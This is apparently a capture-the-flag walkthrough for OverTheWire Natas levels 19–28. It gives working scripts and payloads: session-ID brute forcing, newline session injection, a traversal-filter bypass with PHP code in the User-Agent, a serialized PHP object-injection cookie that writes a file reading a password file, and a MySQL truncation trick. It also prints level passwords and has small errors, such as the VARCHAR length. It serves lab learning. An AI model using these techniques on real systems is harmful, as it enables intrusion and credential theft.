import re import requests auth = ('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') cookies = { "PHPSESSID" : '1' } url = "http://natas19.natas.labs.overthewire.org/" for i in range(641): value = bytes(str(i) + '-admin', 'ascii') hexValue = value.hex() cookies["PHPSESSID"] = hexValue response = requests.post(url, cookies=cookies, auth=auth) if not re.search("logged in as a regular user", response.text): print(f"PHPSESSID: { i }") print(response.text) break print(f"Checked PHPSESSID: { i }")
-
The output for the above code is as follows:
-
Password
eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
-
The landing page for
natas20
states the following:You are logged in as a regular user. Login as an admin to retrieve credentials for natas21
-
We also have the option to view the server side source code. The source code for this level is quite long. The relevant parts are as shown below:
function myread($sid) { debug("MYREAD $sid"); if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { debug("Invalid SID"); return ""; } $filename = session_save_path() . "/" . "mysess_" . $sid; if(!file_exists($filename)) { debug("Session file doesn't exist"); return ""; } debug("Reading from ". $filename); $data = file_get_contents($filename); $_SESSION = array(); foreach(explode("\n", $data) as $line) { debug("Read [$line]"); $parts = explode(" ", $line, 2); if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1]; } return session_encode(); } function mywrite($sid, $data) { // $data contains the serialized version of $_SESSION // but our encoding is better debug("MYWRITE $sid $data"); // make sure the sid is alnum only!! if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { debug("Invalid SID"); return; } $filename = session_save_path() . "/" . "mysess_" . $sid; $data = ""; debug("Saving in ". $filename); ksort($_SESSION); foreach($_SESSION as $key => $value) { debug("$key => $value"); $data .= "$key $value\n"; } file_put_contents($filename, $data); chmod($filename, 0600); } function print_credentials()function print_credentials() { /* {{{ */ if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas21\n"; print "Password: <censored></pre>"; } else { print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21."; } } if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas21\n"; print "Password: <censored></pre>"; } else { print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21."; } }
-
The
my_write($sid, $data)
writes$data
onto a file whose name is dictated by the$sid
value (/mysess_$sid
).$sid
is, in fact, the value of the cookie set by the server on our browser to provide a unique value to our session (as revealed by other parts of the code), and$data
contains the name we enter on the form.It is important to note that this function reads the
$data
in$key
-$value
pairs, and writes these values into the file created. In any normal instances, thename
we enter into the form would be thevalue
andname
would be the key (as it is the name of the field in the HTML). We can usedebug
as a parameter in the url to take a look at this behavior:Notice the
debug
parameter in the url andname
=>hello
at the bottom of the page. Also notice the value of the cookie and the name of the session file created bymy_write()
. -
The
print_credentials()
function much like in the previous level, checks if the keyadmin
exists in$_SESSION
and if its value is set to1
. In this case, the server provides us with the password to the next level. This time we can't just brute force the value of thePHPSESSID
cookie, as it is used for a very different purpose here. -
We need to somehow place the
admin
key in$_SESSION
and then, set its value to1
to retrieve the password. -
The
my_read()
function operates in a way opposite to themy_write()
function. It checks if thefilename
corresponding to thePHPSESSID
exists. If it doesn't, it tells us as much and returns nothing.If the file does exist, it reads the data from the file, one line at a time, splitting the line into 2 parts using the
space
character as the separator. The first part is stored as thekey
and the second part as thevalue
, in$_SESSION
.We have to somehow cause this function to store
admin
as the key and1
as its value. -
The obvious way would be to change the name of the form element from
name
toadmin
and then, entering1
into the form. This, however, does not work! -
Since the key-value pairs are read and written one line at a time, one way to achieve our goal would be to write two lines, the first line would be the
value
forname
and the second line would containadmin
and1
separated by a space that would form the next key-value pair. The url code for newline character is%0A
and that for a space character is%20
. -
The result of this is as follows:
Writing two lines at a time
-
From the
debug
output, we can see that the data has been written. Now, we have to reload this page, so thatmy_read()
function is invoked and the$_SESSION
is properly set forprint_credentials()
function. -
Reloading this page results in:
And so we get the password. Also notice the debug-output for both the
my_read()
at the top andmy_write()
at the bottom. -
All this can also be done through code:
import requests url = "http://natas20.natas.labs.overthewire.org/" auth = ("natas20", "eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF") payload = "hacked\nadmin 1" data = { "name" : payload } session = requests.Session() ## to maintain the PHPSESSID cookie across the post and get reequests post_response = session.post(url, data=data, auth=auth) print(post_response.text) ## not necessary get_response = session.get(url, auth=auth) print(get_response.text)
-
Password
IFekPyrQXftziDEsUr3x21sYuahypdgJ
-
The landing page for
natas21
says the following:Note: this website is colocated with http://natas21-experimenter.natas.labs.overthewire.org You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.
-
There is nothing on this page to interact with and even the source code is not very insightful, except this part:
function print_credentials() { if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas22\n"; print "Password: <censored></pre>"; } else { print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22."; } }
As before, the
print_credentials()
function can get us what we want but there is no way of setting the value of$_SESSION["admin"]
.However, this does tells us that this website is colocated with another website. When we open up this page, we see a neat CSS editor. And its source code is of importance. The source code is quite long, but here is the interesting part:
// if update was submitted, store it if(array_key_exists("submit", $_REQUEST)) { foreach($_REQUEST as $key => $val) { $_SESSION[$key] = $val; } }
-
As the websites are colocated, it is only reasonable that they share the same value of the
PHPSESSID
cookie. This has the effect that setting$_SESSION["admin"]
to1
on theexperimenter
website does the same on the main website. -
The source code on the
experimenter
website says that thesubmit
key must be present in thePOST
request. It performs no another checks and takes in anykey
-value
pairs we might include in thePOST
request. This vulnerability can be exploited by updating the url as follows:natas21-experimenter.natas.labs.overthewire.org/index.php?submit&admin=1
Now, when we open up the main page, we should be able to see the password to the next level. If this is not the case, we must ensure that the
experimenter
page and themain
page have the same value of thePHPSESSID
cookie.Notice the url and the value of
PHPSESSID
cookie in the above two images -
Password
chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ
-
The landing page for
natas21
is essentially a blank page. But we do have an option to view the server sidephp
source code. -
The source code has two parts:
<!-- Part One --> <? session_start(); if(array_key_exists("revelio", $_GET)) { // only admins can reveal the password if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) { header("Location: /"); } } ?> <!-- Part Two --> <? if(array_key_exists("revelio", $_GET)) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas23\n"; print "Password: <censored></pre>"; } ?>
-
The code looks fairly straightforward. The second part of the code tells us that all we need to do to retrieve the password is to send a
GET
request with therevelio
parameter. However, appending?revelio
to the end of thenatas22
url does not work. -
This is because of the part one of the above code. Due to sequential execution, the first part is executed first. This part first checks if the
revelio
parameter exists in theGET
request and then, if the user invoking it is on anadmin
session. Unlike in the previous levels we don't have an option to set the$_SESSION["admin"]
value, and so this part of the URL changes theGET
parameter from?revelio
to just/
. This essentially amounts to a server-side redirection. As such, it does not meet the requirements for the second part and so, nothing is displayed. -
We can bypass this by using
Burp Suite
. UsingBurp Suite
, in repeater mode, we can manually change theGET
header to have therevelio
parameter. We can also choose whether to follow the redirection. Following redirection is the default behavior in any browser but we can prevent this from happening inBurp Suite
, allowing us to view the contents of theadmin
page.Burp Suite Session to obtain password
-
Password
D0vlad33nQF0Hz2EP255TP5wSW9ZsRSE
-
The landing page for
natas23
shows a form for password and also allows us to view thephp
source code. The source code is as follows:<?php if(array_key_exists("passwd",$_REQUEST)){ if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){ echo "<br>The credentials for the next level are:<br>"; echo "<pre>Username: natas24 Password: <censored></pre>"; } else{ echo "<br>Wrong!<br>"; } } // morla / 10111 ?>
-
The code first checks if the
passwd
key exists in our request i.e., ourPOST
request on the form. -
Then it uses the
strstr
function to check if the stringiloveyou
exists in the password AND if the numerical value of thepasswd
is greater than 10! -
There seems to be a contradiction here as there are two comparisons being done on
$_REQUEST["passwd"]
— one as a string and one as a number. Thepasswd
entered into the form field is most definitely a string, as is the case with anyPOST
request parameters.php
has a funny way of comparing between strings and numbers. Take a look at the following example:var_dump('m' > 10) // converts 'm' to numeric i.e., 0 and compares, prints bool(false) var_dump('11' > 10) // converts '11' to numeric i.e., 11 and compares, prints bool(true) var_dump('11k' > 10) // prints bool(true) var_dump('k11' > 10) // prints bool(false)
From the above example, we can see that
php
tries to convert a string to its equivalent numeric when comparing stings and numbers. If the string begins with numbers, the conversion results in a number equal to the value that the string begins with, and if the string does not start with numbers, the conversion results in0
. -
Thus, the following value of
passwd
works:passwd: 11iloveyou
Here,
iloveyou
exists within the string and so satisfies the first condition.While comparing,
php
converts the string11iloveyou
to11
which is greater than 10, and so, satisfies the second condition. -
Password
OsRmXFguozKpTZZ5X14zNO43379LZveg
-
The landing page for
natas24
shows a password entry form, and a look at thephp
source code shows the following:<?php if(array_key_exists("passwd",$_REQUEST)){ if(!strcmp($_REQUEST["passwd"],"<censored>")){ echo "<br>The credentials for the next level are:<br>"; echo "<pre>Username: natas25 Password: <censored></pre>"; } else{ echo "<br>Wrong!<br>"; } } // morla / 10111 ?>
-
We can see that the back-end uses,
strcmp
function to check if the password we entered into the form matches the actual password. -
The
strcmp
function returns-
0
iffirst_string
==second_string
, -
-1
iffirst_string
<second_string
, and -
1
iffirst_string
>second_string
.
-
-
Since the value we pass into the field is always a string, and must be equal to the actual password for the server to reveal the credentials, this seems invulnerable.
-
However, the
strcmp()
function is not fool-proof. If the entities being compared are not both strings, then the return value is extremely unpredictable, ranging from low negative values like-2
and-3
to high positive values like2
and3
. It might even return0
! -
So, we exploit this vulnerability by passing in
passwd
parameter as an array, as follows:http://natas24.natas.labs.overthewire.org/?passwd[]=hacked
As
passwd[]
is an array, and it is being compared to the actualpassword
which is presumably a string, the behavior ofstrcmp
becomes erratic and may return0
(which indeed, it does, along with a warning message). -
Password
GHF6X7YwACaYYssHVY05cFq83hRktl4c
-
The landing page for
natas25
shows a long piece of rather morose text and an option to change its language, between English and Deutsch. -
The source code for this level is quite long. But here are the relevant parts:
function safeinclude($filename){ // check for directory traversal if(strstr($filename,"../")){ logRequest("Directory traversal attempt! fixing request."); $filename=str_replace("../","",$filename); } // dont let ppl steal our passwords if(strstr($filename,"natas_webpass")){ logRequest("Illegal file access detected! Aborting!"); exit(-1); } // add more checks... if (file_exists($filename)) { include($filename); return 1; } return 0; } function logRequest($message){ $log="[". date("d.m.Y H::i:s",time()) ."]"; $log=$log . " " . $_SERVER['HTTP_USER_AGENT']; $log=$log . " \"" . $message ."\"\n"; $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a"); fwrite($fd,$log); fclose($fd); }
-
We can set the
language
using aGET
request directly on the url. If the language is not available, the language defaults to English. -
The language itself is a file and a series of tests are performed on the
lang
parameter before accessing the text in that language and performing the logging operation. -
The server does not allow us to perform a directory traversal, since it replaces
../
with a blank. This can, however, be easily bypassed by passing....//
. The underlined portion gets replaced but../
still remains. -
Similarly, we can't access the password file
/etc/natas_webpass/natas26
this way since the server checks for the presence ofnatas_webpass
and exits if it is present. There is no way to get around this check! -
The vulnerability in this level lies in the
logRequest($message)
function. This function logs the error messages in the file/var/www/natas/natas25/logs/natas25_$_PHPSESSID.log
, where$PHPSESSID
is the cookie value set by the server. -
It is to be noted that this function also logs the
USER_AGENT
into the log file. The value of this header is the browser and the system performing the request but we can instead injectphp
code in this header with the help ofBurp Suite
. Then, all we have to do is view the log file. -
The result is as follows:
Notice the directory traversal in the
GET
header and thephp
code in theUser-Agent
header. -
Password
oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
-
The landing page for
natas26
shows a tool that asks us to input two 2D coordinates and then, generates a line segment with these end-points. -
The source code for this level is obviously long, but here are the relevant parts:
class Logger{ private $logFile; private $initMsg; private $exitMsg; function __construct($file){ // initialise variables $this->initMsg="##--session started--##\n"; $this->exitMsg="##--session end--##\n"; $this->logFile = "/tmp/natas26_" . $file . ".log"; // write initial message $fd=fopen($this->logFile,"a+"); fwrite($fd,$initMsg); fclose($fd); } function log($msg){ $fd=fopen($this->logFile,"a+"); fwrite($fd,$msg."\n"); fclose($fd); } function __destruct(){ // write exit message $fd=fopen($this->logFile,"a+"); fwrite($fd,$this->exitMsg); fclose($fd); } } function storeData(){ $new_object=array(); if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) && array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){ $new_object["x1"]=$_GET["x1"]; $new_object["y1"]=$_GET["y1"]; $new_object["x2"]=$_GET["x2"]; $new_object["y2"]=$_GET["y2"]; } if (array_key_exists("drawing", $_COOKIE)){ $drawing=unserialize(base64_decode($_COOKIE["drawing"])); } else{ // create new array $drawing=array(); } $drawing[]=$new_object; setcookie("drawing",base64_encode(serialize($drawing))); }
-
We can also see that the name of the cookie this level sets is
drawing
and its value is thebase64_encode
d,unserialize
d value fo the$drawing
array object. -
At the very top, we can also see a class called
Logger
with two magic methods, namely,__construct()
and__destruct()
, which is apparently never used in the code! This is suspicious. -
According to this OWASP article, the unserialize() function with a class that uses a magic method is susceptible to
php object injection
. This basically means that we can create aphp
object with maliciousphp
code in it,base64_encode
andserialize
it to set the value of thedrawing
cookie. This will then be decoded and read, and when any of the magic methods are called, our code will be executed! -
The code and the value of the cookie are as follows:
<?php class Logger{ private $logFile; private $exitMsg; function __construct($file){ // initialise variables $this->exitMsg="Password for Natas 27 is: <?php echo file_get_contents('/etc/natas_webpass/natas27') ?>\n"; $this->logFile = "img/" . $file . ".php"; } function __destruct(){ // write exit message $fd=fopen($this->logFile,"a+"); fwrite($fd,$this->exitMsg); fclose($fd); } } $myObject = new Logger("natas27_hacked"); echo urlencode(base64_encode(serialize($myObject))); echo "\n"; // Output: Tzo2OiJMb2dnZXIiOjI6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoyMjoiaW1nL25hdGFzMjdfaGFja2VkLnBocCI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjg4OiJQYXNzd29yZCBmb3IgTmF0YXMgMjcgaXM6IDw%2FcGhwIGVjaG8gZmlsZV9nZXRfY29udGVudHMoJy9ldGMvbmF0YXNfd2VicGFzcy9uYXRhczI3JykgPz4KIjt9
-
As shown above, we must first
urlencode
the result before setting the value of the cookie as/
and+
that are used in base64 encoding are not valid charaters for a cookie. -
It is also to be noted that we only have write permissions within the
img
directory. So, we must create our file inside it. -
Once, we set the value of
drawing
cookie to the output of the above code, we should see a message telling us that there has been a fatal error (which only means things are working for us). And when we navigate to the file created by the above code, we should see the output. -
Here are the results as obtained in
Burp Suite:
:Notice the fatal error as functions expect the
drawing
cookie to hold an Array() object and not ourLogger
object.Fetching the file created by us in the code gets us the result.
-
Password
55TBjpPZUUJgVpP5b3BnbG60N9uDPVzCJD
-
The landing page for
natas27
shows a login form with the columnsusername
andpassword
. -
The source code for this level shows a rather long process in which the following events occur:
- Check if the
user
withusername
=$_POST["username"]
exists. - If so, check if the password entries match.
- If password entries match as well, dump the data of all user with that username (
username
,password
) - Else, say "Wrong Password"
If the username does not exist in the table, create a new user with
username
=$_POST["username"]
andpassword
=$_POST["password"]
.
- Check if the
-
First, we can check if the user
natas28
exists by typing it in theusername
field and leaving thepassword
field blank (unless you can divine the password). We can see that thenatas28
user does exist, but we entered the wrong password, so it tells us as much. -
Now, we can try injecting some basic queries into the fields, but the fields were immune to all the queries I tried. So, a different route had to be taken.
-
We shall exploit the
MySQL
vulnerability described here. -
In comparison operations involving the
WHERE
clause,MySQL
ignores trailing whitespaces. As we shall soon see, this allows us to create a fakenatas28
-
We first notice that the
username
column is of typeVARCHAR(28)
which means that the field can store upto 64 characters. Now, we create a user, as follows:username = natas28 + 64 spaces + abc password = something*
-
As these credentials do not match any existing users, a new user is created.
-
Next, we login using the following credentials:
username = natas28 password = something
This gives us the password to
natas28
! -
What happened? During the comparison operation,
MySQL
first compared theusername
field withnatas28
. Since this returns some number of rows, the check passes. Now, it checks for thepassword
field. Althoughnatas28+64 spaces+abc
andnatas28
are quite different,MySQL
sees them as the same, as only64 characters
are checked and the trailing whitespaces are ignored. So, since these users are the same, the password matching with the user we created is the same as it matching with the originalnatas28
. So,MySQL
is tricked into providing us with the credentials of the user namednatas28
. -
Password
JWwR438wkgTsNKBbcJoowyysdM82YjeF